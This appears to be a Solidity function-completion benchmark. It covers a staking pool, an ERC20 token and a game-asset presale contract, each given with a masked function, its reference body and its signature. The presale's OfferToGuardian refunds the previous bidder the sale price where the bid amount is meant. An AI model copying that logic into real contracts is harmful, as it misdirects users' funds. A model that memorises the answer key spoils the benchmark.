(Snapshot memory) { return snapshotHistory[getLastSnapshotIndexOf(_account)]; } // =========== _account getters function rewardPerShare() public view returns (uint256) { return getLatestSnapshot().rewardPerShare; } function earned(address _account) public view override returns (uint256) { uint256 latestRPS = getLatestSnapshot().rewardPerShare; uint256 storedRPS = getLastSnapshotOf(_account).rewardPerShare; UserInfo memory user = userInfo[_account]; return user.amount.mul(latestRPS.sub(storedRPS)).div(1e18).add(user.rewardEarned); } function canWithdraw(address _account) external view returns (bool) { return userInfo[_account].epochTimerStart.add(withdrawLockupEpochs) <= epoch(); } function canClaimReward(address _account) external view returns (bool) { return userInfo[_account].epochTimerStart.add(rewardLockupEpochs) <= epoch(); } function unlockWithdrawEpoch(address _account) public view override returns (uint256) { return userInfo[_account].epochTimerStart.add(withdrawLockupEpochs); } function unlockRewardEpoch(address _account) public view override returns (uint256) { return userInfo[_account].epochTimerStart.add(rewardLockupEpochs); } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 _amount) external override lock { IValueLiquidPair(pair).transferFrom(msg.sender, address(this), _amount); _stakeFor(msg.sender); } function stakeFor(address _account) external override lock { require(IStakePoolController(controller).isWhitelistStakingFor(msg.sender), "StakePoolEpochReward: Invalid sender"); _stakeFor(_account); } function _stakeFor(address _account) internal { uint256 _amount = IValueLiquidPair(pair).balanceOf(address(this)).sub(balance); require(_amount > 0, "StakePoolEpochReward: Invalid balance"); balance = balance.add(_amount); UserInfo storage user = userInfo[_account]; user.epochTimerStart = epoch(); // reset timer user.amount = user.amount.add(_amount); emit Deposit(_account, _amount); } function removeStakeInternal(uint256 _amount) internal { UserInfo storage user = userInfo[msg.sender]; uint256 _epoch = epoch(); require(user.epochTimerStart.add(withdrawLockupEpochs) <= _epoch, "StakePoolEpochReward: still in withdraw lockup"); require(user.amount >= _amount, "StakePoolEpochReward: invalid withdraw amount"); _claimReward(false); balance = balance.sub(_amount); user.epochTimerStart = _epoch; // reset timer user.amount = user.amount.sub(_amount); } function withdraw(uint256 _amount) public override lock { removeStakeInternal(_amount); IValueLiquidPair(pair).transfer(msg.sender, _amount); emit Withdraw(msg.sender, _amount); } function exit() external { withdraw(userInfo[msg.sender].amount); } function _claimReward(bool _lockChecked) internal updateReward(msg.sender) { UserInfo storage user = userInfo[msg.sender]; uint256 _reward = user.rewardEarned; if (_reward > 0) { if (_lockChecked) { uint256 _epoch = epoch(); require(user.epochTimerStart.add(rewardLockupEpochs) <= _epoch, "StakePoolEpochReward: still in reward lockup"); user.epochTimerStart = _epoch; // reset timer } user.rewardEarned = 0; // Safe reward transfer, just in case if rounding error causes pool to not have enough reward amount uint256 _rewardBalance = IERC20(rewardToken).balanceOf(rewardFund); uint256 _paidAmount = _rewardBalance > _reward ? _reward : _rewardBalance; IStakePoolRewardFund(rewardFund).safeTransfer(rewardToken, msg.sender, _paidAmount); emit PayRewardPool(0, rewardToken, msg.sender, _reward, _reward, _paidAmount); } } function claimReward() public override { _claimReward(true); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw() external override lock { require(IStakePoolController(controller).isAllowEmergencyWithdrawStakePool(address(this)), "StakePoolEpochReward: Not allow emergencyWithdraw"); UserInfo storage user = userInfo[msg.sender]; uint256 amount = user.amount; balance = balance.sub(amount); user.amount = 0; IValueLiquidPair(pair).transfer(msg.sender, amount); } function removeLiquidity( address provider, address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) public override lock returns (uint256 amountA, uint256 amountB) { require(IStakePoolController(controller).isWhitelistStakingFor(provider), "StakePoolEpochReward: Invalid provider"); removeStakeInternal(liquidity); IValueLiquidPair(pair).approve(provider, liquidity); emit Withdraw(msg.sender, liquidity); (amountA, amountB) = IValueLiquidProvider(provider).removeLiquidity(address(pair), tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline); } function removeLiquidityETH( address provider, address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external override lock returns (uint256 amountToken, uint256 amountETH) { require(IStakePoolController(controller).isWhitelistStakingFor(provider), "StakePoolEpochReward: Invalid provider"); removeStakeInternal(liquidity); IValueLiquidPair(pair).approve(provider, liquidity); emit Withdraw(msg.sender, liquidity); (amountToken, amountETH) = IValueLiquidProvider(provider).removeLiquidityETH( address(pair), token, liquidity, amountTokenMin, amountETHMin, to, deadline ); } function removeLiquidityETHSupportingFeeOnTransferTokens( address provider, address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external override lock returns (uint256 amountETH) { require(IStakePoolController(controller).isWhitelistStakingFor(provider), "StakePoolEpochReward: Invalid provider"); removeStakeInternal(liquidity); IValueLiquidPair(pair).approve(provider, liquidity); emit Withdraw(msg.sender, liquidity); amountETH = IValueLiquidProvider(provider).removeLiquidityETHSupportingFeeOnTransferTokens( address(pair), token, liquidity, amountTokenMin, amountETHMin, to, deadline ); } }
require(_initialized == false, "StakePoolEpochReward: Initialize must be false."); pair = _pair; rewardFund = _rewardFund; timelock = _timelock; withdrawLockupEpochs = _withdrawLockupEpochs; rewardLockupEpochs = _rewardLockupEpochs; epochController = _epochController; rewardToken = _rewardToken; _initialized = true;
function initialize( address _pair, address _rewardFund, address _timelock, address _epochController, address _rewardToken, uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs ) external
// called once by the factory at time of deployment function initialize( address _pair, address _rewardFund, address _timelock, address _epochController, address _rewardToken, uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs ) external
70010
TokenERC20
null
contract TokenERC20 is SafeMath, IERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public {<FILL_FUNCTION_BODY> } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != address(0x0)); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
contract TokenERC20 is SafeMath, IERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); <FILL_FUNCTION> /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != address(0x0)); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes
constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public
/** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public
88406
PreSaleGuardian
vendGuardian
contract PreSaleGuardian is PreSaleCastle { // ---------------------------------------------------------------------------- // Events // ---------------------------------------------------------------------------- event GuardianSaleCreate(uint indexed saleId, uint indexed guardianId, uint indexed price, uint race, uint level, uint starRate); event BuyGuardian(uint indexed saleId, uint guardianId, address indexed buyer, uint indexed currentPrice); event GuardianOfferSubmit(uint indexed saleId, uint guardianId, address indexed bidder, uint indexed price); event GuardianOfferAccept(uint indexed saleId, uint guardianId, address indexed newOwner, uint indexed newPrice); event SetGuardianSale(uint indexed saleId, uint indexed price, uint race, uint starRate, uint level); event GuardianAuctionCreate(uint indexed auctionId, uint indexed guardianId, uint indexed startPrice, uint race, uint level, uint starRate); event GuardianAuctionBid(uint indexed auctionId, address indexed bidder, uint indexed offer); event VendingGuardian(uint indexed vendingId, address indexed buyer); event GuardianVendOffer(uint indexed vendingId, address indexed bidder, uint indexed offer); event GuardianVendAccept(uint indexed vendingId, address indexed newOwner, uint indexed newPrice); event SetGuardianVend(uint indexed priceId, uint indexed price); // ---------------------------------------------------------------------------- // Mappings // ---------------------------------------------------------------------------- mapping (uint => address) public GuardianSaleToBuyer; mapping (uint => bool) GuardianIdToIfCreated; mapping (uint => uint) public GuardianVendToOffer; mapping (uint => address) public GuardianVendToBidder; mapping (uint => uint) public GuardianVendToTime; // ---------------------------------------------------------------------------- // Variables // ---------------------------------------------------------------------------- struct GuardianSale { uint guardianId; uint race; uint starRate; uint level; uint price; bool ifSold; address bidder; uint offerPrice; uint timestamp; } GuardianSale[] guardianSales; uint[5] GuardianVending = [ 0.5 ether, 0.35 ether, 0.20 ether, 0.15 ether, 0.1 ether ]; // ---------------------------------------------------------------------------- // Modifier // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Internal Function // ---------------------------------------------------------------------------- function _generateGuardianSale(uint _guardianId, uint _race, uint _starRate, uint _level, uint _price) internal returns (uint) { require(GuardianIdToIfCreated[_guardianId] == false); GuardianIdToIfCreated[_guardianId] = true; GuardianSale memory _GuardianSale = GuardianSale({ guardianId: _guardianId, race: _race, starRate: _starRate, level: _level, price: _price, ifSold: false, bidder: address(0), offerPrice: 0, timestamp: 0 }); uint guardianSaleId = guardianSales.push(_GuardianSale) - 1; emit GuardianSaleCreate(guardianSaleId, _guardianId, _price, _race, _level, _starRate); return guardianSaleId; } function _guardianVendPrice(uint _guardianId , uint _level) internal returns (uint) { if(pricePause == true) { if(GuardianVendToTime[_guardianId] != 0 && GuardianVendToTime[_guardianId] != endTime) { uint timePass = safeSub(endTime, startTime); GuardianVending[_level] = _computePrice(GuardianVending[_level], GuardianVending[_level]*raiseIndex[1], preSaleDurance, timePass); GuardianVendToTime[_guardianId] = endTime; } return GuardianVending[_level]; } else { if(GuardianVendToTime[_guardianId] == 0) { GuardianVendToTime[_guardianId] = uint(now); } uint currentPrice = _computePrice(GuardianVending[_level], GuardianVending[_level]*raiseIndex[1], preSaleDurance, safeSub(uint(now), startTime)); return currentPrice; } } // ---------------------------------------------------------------------------- // Public Function // ---------------------------------------------------------------------------- function createGuardianSale(uint _num, uint _startId, uint _race, uint _starRate, uint _level, uint _price) public onlyAdmin { for(uint i = 0; i<_num; i++) { _generateGuardianSale(_startId + i, _race, _starRate, _level, _price); } } function buyGuardian(uint _guardianSaleId, uint _brokerId, uint _subBrokerId) public payable whenNotPaused { GuardianSale storage _guardianSale = guardianSales[_guardianSaleId]; require(GuardianSaleToBuyer[_guardianSale.guardianId] == address(0)); require(_guardianSale.ifSold == false); uint currentPrice; if(pricePause == true) { if(_guardianSale.timestamp != 0 && _guardianSale.timestamp != endTime) { uint timePass = safeSub(endTime, startTime); _guardianSale.price = _computePrice(_guardianSale.price, _guardianSale.price*raiseIndex[1], preSaleDurance, timePass); _guardianSale.timestamp = endTime; } _brokerFeeDistribute(_guardianSale.price, 1, _brokerId, _subBrokerId); require(msg.value >= _guardianSale.price); currentPrice = _guardianSale.price; } else { if(_guardianSale.timestamp == 0) { _guardianSale.timestamp = uint(now); } currentPrice = _computePrice(_guardianSale.price, _guardianSale.price*raiseIndex[1], preSaleDurance, safeSub(uint(now), startTime)); _brokerFeeDistribute(currentPrice, 1, _brokerId, _subBrokerId); require(msg.value >= currentPrice); _guardianSale.price = currentPrice; } GuardianSaleToBuyer[_guardianSale.guardianId] = msg.sender; _guardianSale.ifSold = true; emit BuyGuardian(_guardianSaleId, _guardianSale.guardianId, msg.sender, currentPrice); } function offlineGuardianSold(uint _guardianSaleId, address _buyer, uint _price) public onlyAdmin { GuardianSale storage _guardianSale = guardianSales[_guardianSaleId]; require(_guardianSale.ifSold == false); GuardianSaleToBuyer[_guardianSale.guardianId] = _buyer; _guardianSale.ifSold = true; emit BuyGuardian(_guardianSaleId, _guardianSale.guardianId, _buyer, _price); } function OfferToGuardian(uint _guardianSaleId, uint _price) public payable whenNotPaused { GuardianSale storage _guardianSale = guardianSales[_guardianSaleId]; require(_guardianSale.ifSold == true); require(_price > _guardianSale.offerPrice*11/10); require(msg.value >= _price); if(_guardianSale.bidder == address(0)) { _guardianSale.bidder = msg.sender; _guardianSale.offerPrice = _price; } else { address lastBidder = _guardianSale.bidder; uint lastOffer = _guardianSale.price; lastBidder.transfer(lastOffer); _guardianSale.bidder = msg.sender; _guardianSale.offerPrice = _price; } emit GuardianOfferSubmit(_guardianSaleId, _guardianSale.guardianId, msg.sender, _price); } function AcceptGuardianOffer(uint _guardianSaleId) public whenNotPaused { GuardianSale storage _guardianSale = guardianSales[_guardianSaleId]; require(GuardianSaleToBuyer[_guardianSale.guardianId] == msg.sender); require(_guardianSale.bidder != address(0) && _guardianSale.offerPrice > 0); msg.sender.transfer(_guardianSale.offerPrice); GuardianSaleToBuyer[_guardianSale.guardianId] = _guardianSale.bidder; _guardianSale.price = _guardianSale.offerPrice; emit GuardianOfferAccept(_guardianSaleId, _guardianSale.guardianId, _guardianSale.bidder, _guardianSale.price); _guardianSale.bidder = address(0); _guardianSale.offerPrice = 0; } function setGuardianSale(uint _guardianSaleId, uint _price, uint _race, uint _starRate, uint _level) public onlyAdmin { GuardianSale storage _guardianSale = guardianSales[_guardianSaleId]; require(_guardianSale.ifSold == false); _guardianSale.price = _price; _guardianSale.race = _race; _guardianSale.starRate = _starRate; _guardianSale.level = _level; emit SetGuardianSale(_guardianSaleId, _price, _race, _starRate, _level); } function getGuardianSale(uint _guardianSaleId) public view returns ( address owner, uint guardianId, uint race, uint starRate, uint level, uint price, bool ifSold, address bidder, uint offerPrice, uint timestamp ) { GuardianSale memory _GuardianSale = guardianSales[_guardianSaleId]; owner = GuardianSaleToBuyer[_GuardianSale.guardianId]; guardianId = _GuardianSale.guardianId; race = _GuardianSale.race; starRate = _GuardianSale.starRate; level = _GuardianSale.level; price = _GuardianSale.price; ifSold =_GuardianSale.ifSold; bidder = _GuardianSale.bidder; offerPrice = _GuardianSale.offerPrice; timestamp = _GuardianSale.timestamp; } function getGuardianNum() public view returns (uint) { return guardianSales.length; } function vendGuardian(uint _guardianId) public payable whenNotPaused {<FILL_FUNCTION_BODY> } function offerGuardianVend(uint _guardianId, uint _offer) public payable whenNotPaused { require(GuardianSaleToBuyer[_guardianId] != address(0)); require(_offer >= GuardianVendToOffer[_guardianId]*11/10); require(msg.value >= _offer); address lastBidder = GuardianVendToBidder[_guardianId]; if(lastBidder != address(0)){ lastBidder.transfer(GuardianVendToOffer[_guardianId]); } GuardianVendToBidder[_guardianId] = msg.sender; GuardianVendToOffer[_guardianId] = _offer; emit GuardianVendOffer(_guardianId, msg.sender, _offer); } function acceptGuardianVend(uint _guardianId) public whenNotPaused { require(GuardianSaleToBuyer[_guardianId] == msg.sender); address bidder = GuardianVendToBidder[_guardianId]; uint offer = GuardianVendToOffer[_guardianId]; require(bidder != address(0) && offer > 0); msg.sender.transfer(offer); GuardianSaleToBuyer[_guardianId] = bidder; GuardianVendToBidder[_guardianId] = address(0); GuardianVendToOffer[_guardianId] = 0; emit GuardianVendAccept(_guardianId, bidder, offer); } function setGuardianVend(uint _num, uint _price) public onlyAdmin { GuardianVending[_num] = _price; emit SetGuardianVend(_num, _price); } function getGuardianVend(uint _guardianId) public view returns ( address owner, address bidder, uint offer ) { owner = GuardianSaleToBuyer[_guardianId]; bidder = GuardianVendToBidder[_guardianId]; offer = GuardianVendToOffer[_guardianId]; } }
contract PreSaleGuardian is PreSaleCastle { // ---------------------------------------------------------------------------- // Events // ---------------------------------------------------------------------------- event GuardianSaleCreate(uint indexed saleId, uint indexed guardianId, uint indexed price, uint race, uint level, uint starRate); event BuyGuardian(uint indexed saleId, uint guardianId, address indexed buyer, uint indexed currentPrice); event GuardianOfferSubmit(uint indexed saleId, uint guardianId, address indexed bidder, uint indexed price); event GuardianOfferAccept(uint indexed saleId, uint guardianId, address indexed newOwner, uint indexed newPrice); event SetGuardianSale(uint indexed saleId, uint indexed price, uint race, uint starRate, uint level); event GuardianAuctionCreate(uint indexed auctionId, uint indexed guardianId, uint indexed startPrice, uint race, uint level, uint starRate); event GuardianAuctionBid(uint indexed auctionId, address indexed bidder, uint indexed offer); event VendingGuardian(uint indexed vendingId, address indexed buyer); event GuardianVendOffer(uint indexed vendingId, address indexed bidder, uint indexed offer); event GuardianVendAccept(uint indexed vendingId, address indexed newOwner, uint indexed newPrice); event SetGuardianVend(uint indexed priceId, uint indexed price); // ---------------------------------------------------------------------------- // Mappings // ---------------------------------------------------------------------------- mapping (uint => address) public GuardianSaleToBuyer; mapping (uint => bool) GuardianIdToIfCreated; mapping (uint => uint) public GuardianVendToOffer; mapping (uint => address) public GuardianVendToBidder; mapping (uint => uint) public GuardianVendToTime; // ---------------------------------------------------------------------------- // Variables // ---------------------------------------------------------------------------- struct GuardianSale { uint guardianId; uint race; uint starRate; uint level; uint price; bool ifSold; address bidder; uint offerPrice; uint timestamp; } GuardianSale[] guardianSales; uint[5] GuardianVending = [ 0.5 ether, 0.35 ether, 0.20 ether, 0.15 ether, 0.1 ether ]; // ---------------------------------------------------------------------------- // Modifier // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Internal Function // ---------------------------------------------------------------------------- function _generateGuardianSale(uint _guardianId, uint _race, uint _starRate, uint _level, uint _price) internal returns (uint) { require(GuardianIdToIfCreated[_guardianId] == false); GuardianIdToIfCreated[_guardianId] = true; GuardianSale memory _GuardianSale = GuardianSale({ guardianId: _guardianId, race: _race, starRate: _starRate, level: _level, price: _price, ifSold: false, bidder: address(0), offerPrice: 0, timestamp: 0 }); uint guardianSaleId = guardianSales.push(_GuardianSale) - 1; emit GuardianSaleCreate(guardianSaleId, _guardianId, _price, _race, _level, _starRate); return guardianSaleId; } function _guardianVendPrice(uint _guardianId , uint _level) internal returns (uint) { if(pricePause == true) { if(GuardianVendToTime[_guardianId] != 0 && GuardianVendToTime[_guardianId] != endTime) { uint timePass = safeSub(endTime, startTime); GuardianVending[_level] = _computePrice(GuardianVending[_level], GuardianVending[_level]*raiseIndex[1], preSaleDurance, timePass); GuardianVendToTime[_guardianId] = endTime; } return GuardianVending[_level]; } else { if(GuardianVendToTime[_guardianId] == 0) { GuardianVendToTime[_guardianId] = uint(now); } uint currentPrice = _computePrice(GuardianVending[_level], GuardianVending[_level]*raiseIndex[1], preSaleDurance, safeSub(uint(now), startTime)); return currentPrice; } } // ---------------------------------------------------------------------------- // Public Function // ---------------------------------------------------------------------------- function createGuardianSale(uint _num, uint _startId, uint _race, uint _starRate, uint _level, uint _price) public onlyAdmin { for(uint i = 0; i<_num; i++) { _generateGuardianSale(_startId + i, _race, _starRate, _level, _price); } } function buyGuardian(uint _guardianSaleId, uint _brokerId, uint _subBrokerId) public payable whenNotPaused { GuardianSale storage _guardianSale = guardianSales[_guardianSaleId]; require(GuardianSaleToBuyer[_guardianSale.guardianId] == address(0)); require(_guardianSale.ifSold == false); uint currentPrice; if(pricePause == true) { if(_guardianSale.timestamp != 0 && _guardianSale.timestamp != endTime) { uint timePass = safeSub(endTime, startTime); _guardianSale.price = _computePrice(_guardianSale.price, _guardianSale.price*raiseIndex[1], preSaleDurance, timePass); _guardianSale.timestamp = endTime; } _brokerFeeDistribute(_guardianSale.price, 1, _brokerId, _subBrokerId); require(msg.value >= _guardianSale.price); currentPrice = _guardianSale.price; } else { if(_guardianSale.timestamp == 0) { _guardianSale.timestamp = uint(now); } currentPrice = _computePrice(_guardianSale.price, _guardianSale.price*raiseIndex[1], preSaleDurance, safeSub(uint(now), startTime)); _brokerFeeDistribute(currentPrice, 1, _brokerId, _subBrokerId); require(msg.value >= currentPrice); _guardianSale.price = currentPrice; } GuardianSaleToBuyer[_guardianSale.guardianId] = msg.sender; _guardianSale.ifSold = true; emit BuyGuardian(_guardianSaleId, _guardianSale.guardianId, msg.sender, currentPrice); } function offlineGuardianSold(uint _guardianSaleId, address _buyer, uint _price) public onlyAdmin { GuardianSale storage _guardianSale = guardianSales[_guardianSaleId]; require(_guardianSale.ifSold == false); GuardianSaleToBuyer[_guardianSale.guardianId] = _buyer; _guardianSale.ifSold = true; emit BuyGuardian(_guardianSaleId, _guardianSale.guardianId, _buyer, _price); } function OfferToGuardian(uint _guardianSaleId, uint _price) public payable whenNotPaused { GuardianSale storage _guardianSale = guardianSales[_guardianSaleId]; require(_guardianSale.ifSold == true); require(_price > _guardianSale.offerPrice*11/10); require(msg.value >= _price); if(_guardianSale.bidder == address(0)) { _guardianSale.bidder = msg.sender; _guardianSale.offerPrice = _price; } else { address lastBidder = _guardianSale.bidder; uint lastOffer = _guardianSale.price; lastBidder.transfer(lastOffer); _guardianSale.bidder = msg.sender; _guardianSale.offerPrice = _price; } emit GuardianOfferSubmit(_guardianSaleId, _guardianSale.guardianId, msg.sender, _price); } function AcceptGuardianOffer(uint _guardianSaleId) public whenNotPaused { GuardianSale storage _guardianSale = guardianSales[_guardianSaleId]; require(GuardianSaleToBuyer[_guardianSale.guardianId] == msg.sender); require(_guardianSale.bidder != address(0) && _guardianSale.offerPrice > 0); msg.sender.transfer(_guardianSale.offerPrice); GuardianSaleToBuyer[_guardianSale.guardianId] = _guardianSale.bidder; _guardianSale.price = _guardianSale.offerPrice; emit GuardianOfferAccept(_guardianSaleId, _guardianSale.guardianId, _guardianSale.bidder, _guardianSale.price); _guardianSale.bidder = address(0); _guardianSale.offerPrice = 0; } function setGuardianSale(uint _guardianSaleId, uint _price, uint _race, uint _starRate, uint _level) public onlyAdmin { GuardianSale storage _guardianSale = guardianSales[_guardianSaleId]; require(_guardianSale.ifSold == false); _guardianSale.price = _price; _guardianSale.race = _race; _guardianSale.starRate = _starRate; _guardianSale.level = _level; emit SetGuardianSale(_guardianSaleId, _price, _race, _starRate, _level); } function getGuardianSale(uint _guardianSaleId) public view returns ( address owner, uint guardianId, uint race, uint starRate, uint level, uint price, bool ifSold, address bidder, uint offerPrice, uint timestamp ) { GuardianSale memory _GuardianSale = guardianSales[_guardianSaleId]; owner = GuardianSaleToBuyer[_GuardianSale.guardianId]; guardianId = _GuardianSale.guardianId; race = _GuardianSale.race; starRate = _GuardianSale.starRate; level = _GuardianSale.level; price = _GuardianSale.price; ifSold =_GuardianSale.ifSold; bidder = _GuardianSale.bidder; offerPrice = _GuardianSale.offerPrice; timestamp = _GuardianSale.timestamp; } function getGuardianNum() public view returns (uint) { return guardianSales.length; } <FILL_FUNCTION> function offerGuardianVend(uint _guardianId, uint _offer) public payable whenNotPaused { require(GuardianSaleToBuyer[_guardianId] != address(0)); require(_offer >= GuardianVendToOffer[_guardianId]*11/10); require(msg.value >= _offer); address lastBidder = GuardianVendToBidder[_guardianId]; if(lastBidder != address(0)){ lastBidder.transfer(GuardianVendToOffer[_guardianId]); } GuardianVendToBidder[_guardianId] = msg.sender; GuardianVendToOffer[_guardianId] = _offer; emit GuardianVendOffer(_guardianId, msg.sender, _offer); } function acceptGuardianVend(uint _guardianId) public whenNotPaused { require(GuardianSaleToBuyer[_guardianId] == msg.sender); address bidder = GuardianVendToBidder[_guardianId]; uint offer = GuardianVendToOffer[_guardianId]; require(bidder != address(0) && offer > 0); msg.sender.transfer(offer); GuardianSaleToBuyer[_guardianId] = bidder; GuardianVendToBidder[_guardianId] = address(0); GuardianVendToOffer[_guardianId] = 0; emit GuardianVendAccept(_guardianId, bidder, offer); } function setGuardianVend(uint _num, uint _price) public onlyAdmin { GuardianVending[_num] = _price; emit SetGuardianVend(_num, _price); } function getGuardianVend(uint _guardianId) public view returns ( address owner, address bidder, uint offer ) { owner = GuardianSaleToBuyer[_guardianId]; bidder = GuardianVendToBidder[_guardianId]; offer = GuardianVendToOffer[_guardianId]; } }
require(_guardianId > 1000 && _guardianId <= 6000); if(_guardianId > 1000 && _guardianId <= 2000) { require(GuardianSaleToBuyer[_guardianId] == address(0)); require(msg.value >= _guardianVendPrice(_guardianId, 0)); GuardianSaleToBuyer[_guardianId] = msg.sender; GuardianVendToOffer[_guardianId] = GuardianVending[0]; } else if (_guardianId > 2000 && _guardianId <= 3000) { require(GuardianSaleToBuyer[_guardianId] == address(0)); require(msg.value >= _guardianVendPrice(_guardianId, 1)); GuardianSaleToBuyer[_guardianId] = msg.sender; GuardianVendToOffer[_guardianId] = GuardianVending[1]; } else if (_guardianId > 3000 && _guardianId <= 4000) { require(GuardianSaleToBuyer[_guardianId] == address(0)); require(msg.value >= _guardianVendPrice(_guardianId, 2)); GuardianSaleToBuyer[_guardianId] = msg.sender; GuardianVendToOffer[_guardianId] = GuardianVending[2]; } else if (_guardianId > 4000 && _guardianId <= 5000) { require(GuardianSaleToBuyer[_guardianId] == address(0)); require(msg.value >= _guardianVendPrice(_guardianId, 3)); GuardianSaleToBuyer[_guardianId] = msg.sender; GuardianVendToOffer[_guardianId] = GuardianVending[3]; } else if (_guardianId > 5000 && _guardianId <= 6000) { require(GuardianSaleToBuyer[_guardianId] == address(0)); require(msg.value >= _guardianVendPrice(_guardianId, 4)); GuardianSaleToBuyer[_guardianId] = msg.sender; GuardianVendToOffer[_guardianId] = GuardianVending[4]; } emit VendingGuardian(_guardianId, msg.sender);
function vendGuardian(uint _guardianId) public payable whenNotPaused
function vendGuardian(uint _guardianId) public payable whenNotPaused
39065
